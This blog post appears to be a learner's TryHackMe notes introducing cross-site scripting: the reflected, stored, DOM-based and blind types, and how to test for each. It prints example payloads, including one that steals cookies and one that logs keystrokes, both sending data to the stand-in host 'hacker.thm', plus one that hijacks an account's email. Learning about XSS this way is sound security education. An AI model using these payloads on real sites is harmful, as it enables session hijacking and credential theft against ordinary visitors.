Time to learn how to detect and exploit XSS (Cross-site Scripting) vulnerabilities, giving us control of other visitors’ browsers.
Time for another #FromZeroToHacker challenge.
| Table of contents |
| Introduction |
| What I have learnt today? |
| Stats |
| Resources |
Introduction to XSS: What is Cross-site Scripting?
Cross-site Scripting, or XSS, is an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by the users.
Cross-site scripting vulnerabilities are common. Let’s see the different XSS types.
XSS Payloads
What is a payload?
In XSS, the payload is the malicious JavaScript code we want to be executed on the target’s computer. There are two parts of a payload: Intention and modification.
The intention is what we want the JavaScript to actually do, while the modification is the changes in the code we need to make it execute as every computer is different.
Here are some examples of XSS intentions:
Proof of concept
This is the simplest of payloads where all we want is to check if we can do an XSS attack on a website. This just pops an alert box on the page: <script>alert('XSS test')<script>.
Session stealing
This JavaScript code targets the target’s cookie, base64 encodes it to ensure a successful transmission, then posts it to the attacker’s website. Once the hacker has these cookies, they can take over the target’s session and log in as that user: <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>.
Key logger
This code acts as a key logger. Anything the user types on the webpage will be sent to the hacker’s website. Especially funny when the website has logins or credit card details: <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>.
Business logic
This payload is more specific, as the attacker uses particular resources from the website or a JavaScript function created by the developers. For example, if a website has a JavaScript function to change the user’s email address called user.changeEmail(): <script>user.changeEmail('attacker@hacker.thm');</script>.
Now, the attacker can reset the password as that user has that email address as its own.
Reflected XSS
Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
Example
A website lets users introduce data, and if it is incorrect, an error message is displayed. The content of the message is sent via error parameter in the URL:
This is the complete cycle of this XSS attack:
The potential impact of this attack is huge, as an attacker could send a link to a user, revealing session or customer information.
How to test for Reflected XSS
We can test every possible point of entry:
- Parameters in the URL Query String.
- URL File Path.
- Sometimes, even HTTP headers.
Once we found some data that can be reflected in the web application, we need to confirm that we can run our JavaScript payload.
Stored XSS
In this attack, the XSS payload is stored on the web application (in a database, for example) and gets run when other users visit the site or webpage.
Example
A blog website allows users to post comments. Sadly, the comments aren’t validated enough to filter if they contain JavaScript or any malicious code.
Now, as this comment is in a part of the site (and stored in the database), every other user visiting the same article with the comment will run this JavaScript code in their browser:
The malicious JavaScript code could redirect users to another site, steal their cookies, or perform other website actions.
How to test for Stored XSS
We need to test every possible point of entry where data is stored and then shown back to the users:
- Comments on a blog
- User profile information
- Website listings
Once you have found data that is stored in the web application, you’ll need to confirm that you can run your JavaScript payload.
DOM Based XSS
What is the DOM?
DOM stands for Document Object Model, a programming interface for HTML and XML documents. A web page is a document, and this document can be displayed in the browser. Let’s see a diagram of the HTML DOM:
Exploiting the DOM
DOM Based XSS is where the JavaScript happens directly in the browser without any new pages being loaded or any data being submitted. Execution occurs when the website JavaScript acts on input or user interaction.
Example
The website’s JavaScript gets the contents from the window.location.hash parameter. The contents of the hash aren’t checked for malicious code, allowing an attacker to inject malicious JavaScript onto the webpage.
This can redirect users to another website or steal content from the page or the user’s cookie.
How to test for Dom based XSS
DOM based XSS is challenging to test for. You need to look for parts in the code that access certain variables that an attacker can have control over, for example, the window.location.x parameter.
Once when we found those bits of code, you need to check how they are handled and if the values are written to the web page’s DOM or passed to unsafe JavaScript methods as eval().
Blind XSS
Similar to Stored XSS, Blind XSS stores your payload on the website for another user to view, but we can’t see the payload working or being able to test it against yourself first.
Example
A website has a contact form where you can message a member of staff. The message isn’t validated against malicious code, allowing an attacker to send anything they want. These messages turn into support tickets which staff will view in their private control panel.
Using the correct payload, the attacker’s JavaScript could make calls back to an attacker’s website, revealing useful information, cookies, and more.
How to test for Blind XSS
We need to ensure your payload has the call back (normally, an HTTP request) to your website, to know when your code is being executed.
A popular tool for Blind XSS is xsshunter, which captures cookies, URLs, page contents, and more.
Summary
We have learnt a lot about XSS vulnerabilities, including:
- What XSS are.
- What Reflected XSS are.
- What Stored XSS are.
- What Dom Based XSS are.
- What Blind XSS are.
Stats
From 159.044th to 154.560th. Still in the top 8% in TryHackMe!
Here is also the Skill Matrix:
Resources
Path: Web Fundamentals
Introduction to Web Hacking
Other resources
File Inclusion
Tool: xsshunter
Video: Cross-Site Scripting Explained and demonstrated
